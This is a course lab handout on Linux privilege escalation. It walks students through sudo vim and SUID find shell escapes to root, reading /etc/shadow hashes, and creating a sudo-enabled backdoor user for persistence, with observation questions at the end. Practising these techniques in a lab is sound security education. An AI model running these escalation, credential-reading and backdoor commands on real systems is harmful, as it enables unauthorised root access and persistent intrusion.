Lab: Linux Privilege Escalation
🔬 Lab Practical — EHPT Practical 4 | Est. time: 4 hrs
🎯 Objective
Escalate from a low-privilege shell to root using SUID binary and sudo misconfiguration techniques.
📝 Procedure
Step 1: Gain Initial Access
# Use Metasploit for initial low-privilege shell
# (from Practical 3)Step 2: Check sudo Permissions
sudo -l
# Look for entries like: (ALL) NOPASSWD: /usr/bin/vim
# If vim has sudo → sudo vim -c ':!bash' → root shellStep 3: Find SUID Binaries
find / -perm -4000 -type f 2>/dev/null
# Look for unusual SUID binariesStep 4: Use GTFOBins
- Visit https://gtfobins.github.io/ in browser
- Search for found SUID binary
- Follow exploitation steps
Example with find:
find . -exec /bin/bash -p \;
# -p preserves SUID privileges → root shellStep 5: Verify Root Access
id # Should show uid=0(root)
cat /etc/shadow # Read password hashes
head -3 /etc/shadow # Screenshot first 3 linesStep 6: Create Backdoor User (demonstrate persistence)
useradd -m -s /bin/bash backdoor
echo "backdoor:password123" | chpasswd
usermod -aG sudo backdoor✅ Expected Output
- sudo -l screenshot
- SUID binary list
- GTFOBins page referenced
- id showing root
- /etc/shadow first 3 lines
- Backdoor user creation confirmation
💭 Observation Questions
- Why is giving a regular user sudo privileges to vim a critical security mistake?
- What is /etc/shadow and why does reading it represent a significant post-exploitation win?